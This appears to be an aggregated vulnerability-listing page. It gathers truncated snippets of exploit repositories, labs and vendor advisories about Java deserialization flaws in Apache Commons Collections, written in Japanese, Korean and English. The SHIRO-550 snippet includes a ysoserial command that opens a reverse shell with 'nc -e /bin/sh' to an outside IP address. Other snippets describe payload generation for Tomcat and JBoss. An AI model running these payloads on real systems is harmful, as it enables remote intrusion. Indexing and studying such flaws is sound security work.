ysoserial

ysoserial 安全でないJavaオブジェクトのデシリアライゼーションを悪用するペイロードを生成するための概念実証ツールです。 説明 AppSecCali 2015のトーク「Marshalling Pickles: オブジェクトのデシリアライズがあなたの一日を台無しにする仕組み」の一部として当初リリースされ、Apache Commons Collections 3.x および 4.x、Spring Beans/Core 4.x、Groovy 2.3.x 向けのガジェットチェーンを備えていました。その後、JRE = 1.7u21...

CVE-2020-9484

CVE-2020-9484 Kali 2.0으로 Apache Tomcat Session 역직렬화 코드 실행 취약점 CVE-2020-9484 재현 환경： 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz（webapp은 s2-053이고, 해당 lib에 commons-collections4-4.0.jar를 추가함） 시작 /yourtomcatdir/bin/startup.sh payload 생성 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE Burp Suiteを使用してJava逆シリアル化の脆弱性を悪用する 0x01 Jboss JMXInvokerServlet 逆シリアル化の脆弱性を構築する テスト環境：JBoss JMXInvokerServlet 逆シリアル化の脆弱性 脆弱性の原理：JBossは/invoker/JMXInvokerServletリクエスト内でユーザーが渡したオブジェクトを読み取り、Apache Commons CollectionsのGadgetを利用して任意のコードを実行します。...

CVE-2025-24813

CVE-2025-24813 Tomcat PoC 認可されたCTF/ラボ環境向けのPoCです。CVE-2025-24813を、Tomcatセッションファイルへの部分的なPUT書き込みを介して悪用し、JSESSIONIDでデシリアライゼーションをトリガーします。 前提条件 Python 3 Pythonモジュールrequests Java JDK（javaとjavac） このフォルダに配置された同梱ファイルcommons-collections-3.2.1.jar ysoserialは不要です。 ファイル poccve202524813.py:...

CVE-2025-24813

CVE-2025-24813 説明 このリポジトリは、サイバーセキュリティの脅威エミュレーション演習のために、Windows Server 2019 Standard 上で Tomcat v9.0.90 と java 25.0.1 2025-10-21 LTS を迅速にデプロイするための明確な手順を提供することを目的としています。exploit.py は ysoserial-all.jar の CommonsCollections6 モジュールを利用してペイロードを作成し、そのペイロードは後に %CATALINAHOME%\webapps\ROOT\WEB-INF\lib にある...

CVE-2015-6420

CVE-2015-6420 역직렬화 취약점 참조 Java 역직렬화 취약점 - CC 이용 체인 분석...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Java 安全でないデシリアライゼーションラボ 安全でないデシリアライゼーションに対して脆弱な基本的なJava RESTアプリケーションで、RCEにつながります。 プロジェクトはJava 8u45 で実行する必要があります。 以下の依存関係を持つMavenベース： jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 さらにガジェットを試したい場合は、Mavenを通じて依存関係を追加できます。 実行方法 （Intellij...

SHIRO-550

Shiro RememberMe 1.2.4 역직렬화 취약점（SHIRO-550） commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh 192.168.5.86 8989' n...

Rocky Linux 8 [CIQ] Security Update: apache-commons-collections / apache-commons-lang / bea-stax-api / etc Multiple Vulnerabilities (crlba-2019_3416)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlba-20193416 advisory. For detailed information on changes in this release, see the Rocky Linux 8.1 Release Notes linked from the References section. This advisory is provided by...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect 원격 코드 실행 RCE CVE-2023-43208 에 대한 개념 증명 익스플로잇으로, 인증되지 않은 원격 코드 실행 취약점이며 Mirth Connect 버전 4.4.1 미만에 영향을 줍니다. 설명 Mirth Connect는 널리 배포된 오픈소스 의료 통합 엔진입니다. 이 취약점은 /api/users 엔드포인트를 통해 조작된 XML 페이로드를 사용하여 Apache Commons Collections 가젯을 체인화하는 Java 역직렬화 결함을 악용하여 인증되지 않은 RCE를...

Red Hat JBoss - Insecure Deserialization

Red Hat JBoss Application Server 4.x, 5.x, 6.x contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apach...

CLSA-2026-1789362482 TuxCare security update for commons-collections:commons-collections (1 CVE)

TuxCare rebuilt commons-collections:commons-collections to address 1 CVE. Fixed in 3.1-tuxcare.1...

...[ More ]

This Metasploit module exploits an unsafe XStream deserialization vulnerability in the JetBrains TeamCity agent polling protocol. An unauthenticated attacker can register a build agent, then submit a crafted error response that causes TeamCity to deserialize an attacker-controlled object graph. T...

CLSA-2026-1778114665 TuxCare security update for commons-collections (1 CVE)

TuxCare rebuilt 2 commons-collections packages to address 1 CVE. Fixed in 3.2-tuxcare.1...

CLSA-2026-1777509604 TuxCare security update for commons-collections (1 CVE)

TuxCare rebuilt 2 commons-collections packages to address 1 CVE. Fixed in 3.2.1-tuxcare.1...

ROOT-APP-MAVEN-CVE-2015-6420 CVE-2015-6420 in commons-collections:commons-collections - Patched by Root

Root has patched CVE-2015-6420 in the commons-collections:commons-collections package for Root:Maven. Multiple fixed versions available...

ROOT-APP-MAVEN-CVE-2015-7501 CVE-2015-7501 in commons-collections:commons-collections - Patched by Root

Root has patched CVE-2015-7501 in the commons-collections:commons-collections package for Root:Maven. Multiple fixed versions available...

CVE-2026-40901

DataEase is an open-source data visualization and analytics platform. Versions 2.10.20 and below ship the legacy velocity-1.7.jar, which pulls in commons-collections-3.2.1.jar containing the InvokerTransformer deserialization gadget chain. Quartz 2.3.2, also bundled in the application, deserializ...

osv-java-poc

OSV Scanner CVE Detection POC — Vulnerable Java App ⚠️ WA...

RHCOS 2 : Red Hat OpenShift Enterprise 2.2.10 (RHSA-2016:1773)

The remote Red Hat Enterprise Linux CoreOS 2 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2016:1773 advisory. - CXF: SSL hostname verification bypass, incomplete CVE-2012-6153 fix CVE-2014-3577 - apache-commons-collections: InvokerTransformer...